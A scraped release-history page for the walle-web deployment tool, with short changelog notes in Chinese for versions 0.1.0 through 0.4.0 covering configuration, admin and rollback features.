    Source code(tar.gz)
    Source code(zip)
  • v0.4.0(Jan 24, 2016)

  • v0.3.0(Jan 24, 2016)

  • v0.2.0(Jan 24, 2016)

    • 失败前端提示更明确的原因
    • 增加默认用户
    • 配置转到mysql
    • 环境支持分支选择、项目配置模块拆分
    • 注册邮箱后缀可多个
    • apache .htaccess
    • walle组件调整到components
    Source code(tar.gz)
    Source code(zip)
  • v0.1.0(Jan 24, 2016)

    • 任务列表增加字段时间,项目,美化前端,以及管理员界面、配置优化
    • 增加管理员操作配置、上线记录和回滚、注册邮箱可自定义
    • 上线环境选择分类、上线任务分页、未审核通过,未上线任务可以删除、上线任务列表显示上线时间、线上文件md5
    Source code(tar.gz)
    Source code(zip)
Owner
walle-web.io
wechat:wu-shuiyong 请备注你的名字和公司,更容易了解你
walle-web.io